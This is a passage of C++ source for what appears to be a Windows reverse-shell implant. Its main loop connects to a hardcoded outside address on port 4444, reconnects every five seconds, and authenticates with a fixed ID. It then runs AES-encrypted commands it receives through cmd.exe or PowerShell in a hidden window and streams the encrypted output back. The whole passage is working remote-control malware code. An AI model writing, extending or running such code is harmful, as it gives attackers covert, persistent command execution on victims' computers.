    auto raw_length = recv_all(sock, 4);
    uint32_t length = (raw_length[0] << 24) | (raw_length[1] << 16) | (raw_length[2] << 8) | raw_length[3];
    return recv_all(sock, length);
}


std::vector<uint8_t> string_to_vector(const std::string& str) {
    return std::vector<uint8_t>(str.begin(), str.end());
}


std::string current_directory;

std::vector<uint8_t> execute_command(const std::string& command, SOCKET sock, AESCipherTCP& cipher) {
    bool use_powershell = (command.length() >= 2 && command.substr(0, 2) == "EP");
    std::string cmd_to_execute = use_powershell ? command.substr(2) : command; 

    if (use_powershell) {
        cmd_to_execute.erase(0, cmd_to_execute.find_first_not_of(" \t\r\n"));
        cmd_to_execute.erase(cmd_to_execute.find_last_not_of(" \t\r\n") + 1);
    }
    if (use_powershell && cmd_to_execute.empty()) {
        auto error_msg = string_to_vector("Empty or invalid PowerShell command");
        auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end()));
        send_data(sock, encrypted_error);
        return error_msg;
    }
    if (use_powershell) {
        std::string escaped_cmd;
        for (char c : cmd_to_execute) {
            if (c == '"') {
                escaped_cmd += "\\\"";
            } else {
                escaped_cmd += c;
            }
        }
        cmd_to_execute = escaped_cmd;
    }

    if (!use_powershell && (cmd_to_execute.substr(0, 2) == "cd" || cmd_to_execute.substr(0, 2) == "CD")) {
        std::string new_dir = cmd_to_execute.substr(2);
        new_dir.erase(0, new_dir.find_first_not_of(" \t\r\n"));
       
        if (new_dir.empty()) {
          
            std::string dir;
            if (current_directory.empty()) {
                char buffer[MAX_PATH];
                DWORD length = GetCurrentDirectoryA(MAX_PATH, buffer);
                if (length == 0 || length > MAX_PATH) {
                    auto error_msg = string_to_vector("Failed to get current directory");
                    auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end()));
                    send_data(sock, encrypted_error);
                    return error_msg;
                }
                dir = std::string(buffer, length);
            } else {
                dir = current_directory;
            }
            auto output = string_to_vector(dir);
            auto encrypted_output = cipher.encrypt(std::string(output.begin(), output.end()));
            send_data(sock, encrypted_output);
            return output;
        }
    
        if (SetCurrentDirectoryA(new_dir.c_str())) {
            char buffer[MAX_PATH];
            GetCurrentDirectoryA(MAX_PATH, buffer);
            current_directory = buffer;
            auto output = string_to_vector("Changed directory to: " + current_directory);
            auto encrypted_output = cipher.encrypt(std::string(output.begin(), output.end()));
            send_data(sock, encrypted_output);
            return output;
        } else {
            auto error_msg = string_to_vector("Failed to change directory: " + new_dir);
            auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end()));
            send_data(sock, encrypted_error);
            return error_msg;
        }
    }
    std::string full_command = use_powershell ? "powershell.exe -NoProfile -NonInteractive -Command " + cmd_to_execute :
                                               "cmd.exe /c " + cmd_to_execute;
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hStdoutRd, hStdoutWr;
    if (!CreatePipe(&hStdoutRd, &hStdoutWr, &sa, 0)) {
        auto error_msg = string_to_vector("Failed to create stdout pipe");
        auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end()));
        send_data(sock, encrypted_error);
        return error_msg;
    }
    SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
    PROCESS_INFORMATION pi;
    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdOutput = hStdoutWr;
    si.hStdError = hStdoutWr;
    char* cmd_line = new char[full_command.size() + 1];
    strcpy(cmd_line, full_command.c_str());
    BOOL success = CreateProcessA(
        NULL, cmd_line, NULL, NULL, TRUE,
        CREATE_NO_WINDOW, NULL, current_directory.empty() ? NULL : current_directory.c_str(), &si, &pi
    );
    delete[] cmd_line;
    if (!success) {
        CloseHandle(hStdoutWr);
        CloseHandle(hStdoutRd);
        auto error_msg = string_to_vector("Failed to execute command");
        auto encrypted_error = cipher.encrypt(std::string(error_msg.begin(), error_msg.end()));
        send_data(sock, encrypted_error);
        return error_msg;
    }
    CloseHandle(hStdoutWr);
    DWORD bytesRead;
    CHAR buffer[4096];
    BOOL readSuccess = FALSE;
    while (true) {
        readSuccess = ReadFile(hStdoutRd, buffer, sizeof(buffer) - 1, &bytesRead, NULL);
        if (!readSuccess || bytesRead == 0) break;
        buffer[bytesRead] = '\0';
        std::string chunk(buffer, bytesRead);
       
       
        chunk.erase(std::remove(chunk.begin(), chunk.end(), '\r'), chunk.end());
        if (chunk.empty() || chunk.find_first_not_of("\n\t ") == std::string::npos) {
            continue;  
        }
       
        auto encrypted_chunk = cipher.encrypt(chunk);
        send_data(sock, encrypted_chunk);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hStdoutRd);
    return std::vector<uint8_t>();
}

int main() {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        return 1;
    }

    const char* SERVER_IP = "10.13.196.124";
    const int SERVER_PORT = 4444;
    const std::string ENCRYPTION_KEY = "1234567890123456";
    const std::string AUTH_ID = "54643474-a769-417e-9a71-8be2f604ffe9";

    AESCipherTCP cipher(ENCRYPTION_KEY);

    while (true) {
        SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock == INVALID_SOCKET) {
            Sleep(5000);
            continue;
        }

        sockaddr_in server_addr;
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(SERVER_PORT);
        inet_pton(AF_INET, SERVER_IP, &server_addr.sin_addr);

        if (connect(sock, reinterpret_cast<sockaddr*>(&server_addr), sizeof(server_addr)) == SOCKET_ERROR) {
            closesocket(sock);
            Sleep(5000);
            continue;
        }

        auto auth_data_encrypted = cipher.encrypt(AUTH_ID);
        send_data(sock, auth_data_encrypted);

        while (true) {
           try {
              auto encrypted_command = recv_data(sock);
              std::string command = cipher.decrypt(encrypted_command);

              command.erase(std::remove(command.begin(), command.end(), '\r'), command.end());

              if (command == "ping") {
                  send_data(sock, cipher.encrypt("pong"));
                  continue;
              }

              if (command == "exit" || command == "quit") {
                  break;
              }

              execute_command(command, sock, cipher);
          }
          catch (const std::exception& e) {
              break;
          }
        }

        closesocket(sock);
        Sleep(5000);
    }

    WSACleanup();
    return 0;
}